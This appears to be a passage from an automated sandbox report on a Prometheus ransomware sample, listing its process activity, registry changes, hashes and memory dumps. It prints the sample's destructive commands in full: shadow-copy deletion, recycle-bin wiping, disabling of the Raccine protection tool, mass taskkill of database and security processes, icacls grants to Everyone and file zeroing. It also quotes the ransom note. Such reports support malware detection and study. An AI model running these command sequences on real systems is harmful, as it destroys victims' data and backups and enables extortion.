PID 1052 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1956 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1820 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1996 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1996 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1996 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1996 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1052 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\netsh.exe
PID 1052 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\netsh.exe
PID 1052 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\netsh.exe
PID 1052 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\netsh.exe
PID 1052 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1052 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1052 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1052 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe

"C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe"

C:\Windows\SysWOW64\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\SysWOW64\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\SysWOW64\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\SysWOW64\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\SysWOW64\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\SysWOW64\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c rd /s /q D:\\$Recycle.bin

C:\Windows\SysWOW64\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\SysWOW64\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\SysWOW64\icacls.exe

"icacls" "C:*" /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\icacls.exe

"icacls" "D:*" /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\icacls.exe

"icacls" "Z:*" /grant Everyone:F /T /C /Q

C:\Windows\SysWOW64\netsh.exe

"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\SysWOW64\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

Network

N/A

Files

memory/1052-59-0x00000000012F0000-0x00000000012F1000-memory.dmp

memory/1052-61-0x0000000004880000-0x0000000004881000-memory.dmp

memory/852-62-0x0000000000000000-mapping.dmp

memory/1812-63-0x0000000000000000-mapping.dmp

memory/516-64-0x0000000000000000-mapping.dmp

memory/2032-65-0x0000000000000000-mapping.dmp

memory/960-67-0x0000000000000000-mapping.dmp

memory/820-66-0x0000000000000000-mapping.dmp

memory/592-68-0x0000000000000000-mapping.dmp

memory/1080-69-0x0000000000000000-mapping.dmp

memory/1820-72-0x0000000000000000-mapping.dmp

memory/1956-71-0x0000000000000000-mapping.dmp

memory/1996-73-0x0000000000000000-mapping.dmp

memory/1804-70-0x0000000000000000-mapping.dmp

memory/1620-75-0x0000000000000000-mapping.dmp

memory/932-74-0x0000000000000000-mapping.dmp

memory/1016-76-0x0000000000000000-mapping.dmp

memory/1824-77-0x0000000000000000-mapping.dmp

memory/1044-78-0x0000000000000000-mapping.dmp

memory/2004-79-0x0000000000000000-mapping.dmp

memory/1908-81-0x0000000000000000-mapping.dmp

memory/608-80-0x0000000000000000-mapping.dmp

memory/948-82-0x0000000000000000-mapping.dmp

memory/1048-83-0x0000000000000000-mapping.dmp

memory/1724-84-0x0000000000000000-mapping.dmp

memory/240-85-0x0000000000000000-mapping.dmp

memory/1392-86-0x0000000000000000-mapping.dmp

memory/1604-87-0x0000000000000000-mapping.dmp

memory/852-89-0x0000000000000000-mapping.dmp

memory/1956-88-0x0000000000000000-mapping.dmp

memory/1848-90-0x0000000000000000-mapping.dmp

memory/1800-91-0x0000000000000000-mapping.dmp

memory/1464-92-0x0000000000000000-mapping.dmp

memory/548-93-0x0000000000000000-mapping.dmp

memory/1080-94-0x0000000000000000-mapping.dmp

memory/1268-95-0x0000000000000000-mapping.dmp

memory/1784-96-0x0000000000000000-mapping.dmp

memory/940-97-0x0000000000000000-mapping.dmp

memory/1624-98-0x0000000000000000-mapping.dmp

memory/1816-99-0x0000000000000000-mapping.dmp

memory/1560-100-0x0000000000000000-mapping.dmp

memory/592-101-0x0000000000000000-mapping.dmp

memory/516-102-0x0000000000000000-mapping.dmp

memory/1972-103-0x0000000000000000-mapping.dmp

memory/1804-104-0x0000000000000000-mapping.dmp

memory/1484-105-0x0000000000000000-mapping.dmp

memory/1516-106-0x0000000000000000-mapping.dmp

memory/952-107-0x0000000000000000-mapping.dmp

memory/1520-108-0x0000000000000000-mapping.dmp

memory/1036-109-0x0000000000000000-mapping.dmp

memory/960-110-0x0000000000000000-mapping.dmp

memory/1812-111-0x0000000000000000-mapping.dmp

memory/2004-112-0x0000000000000000-mapping.dmp

memory/1512-113-0x0000000000000000-mapping.dmp

memory/1060-114-0x0000000000000000-mapping.dmp

memory/684-115-0x0000000000000000-mapping.dmp

memory/1824-116-0x0000000000000000-mapping.dmp

memory/1044-117-0x0000000000000000-mapping.dmp

memory/660-118-0x0000000000000000-mapping.dmp

memory/1904-119-0x0000000000000000-mapping.dmp

memory/1692-120-0x0000000000000000-mapping.dmp

memory/1832-121-0x0000000000000000-mapping.dmp

memory/1328-122-0x0000000000000000-mapping.dmp

memory/1016-123-0x0000000074D91000-0x0000000074D93000-memory.dmp

memory/1488-124-0x0000000000000000-mapping.dmp

memory/2032-125-0x0000000000000000-mapping.dmp

memory/820-127-0x0000000000000000-mapping.dmp

memory/2032-128-0x0000000001EA0000-0x0000000001EA1000-memory.dmp

memory/2032-129-0x0000000004A00000-0x0000000004A01000-memory.dmp

memory/2032-130-0x00000000049C0000-0x00000000049C1000-memory.dmp

memory/2032-131-0x00000000049C2000-0x00000000049C3000-memory.dmp

memory/2032-133-0x00000000025E0000-0x00000000025E1000-memory.dmp

memory/2032-134-0x0000000002810000-0x0000000002811000-memory.dmp

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 a215ed3b422daf38faf3d8c6f0fa0d73
SHA1 28c8a05a58aeccca480c5f613cff2210b10ac6ad
SHA256 d3488d67f11def1e705d04f9ff1b42103f66718f481e8781e96cf7f299acfa64
SHA512 a438e142f4fcb98eaa438ccf684d379d2533d4e3dcad3c1982f1bd8174b363720df6ad7ead494f813fd72a8ae470739c96edc7b6be93a7f2025c85d49ebc8465

Analysis: behavioral2

Detonation Overview

Submitted

2021-05-28 09:40

Reported

2021-05-28 09:42

Platform

win10v20210410

Max time kernel

133s

Max time network

134s

Command Line

"C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe"

Signatures

Prometheus Ransomware

ransomware prometheus

Modifies Windows Firewall

evasion

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
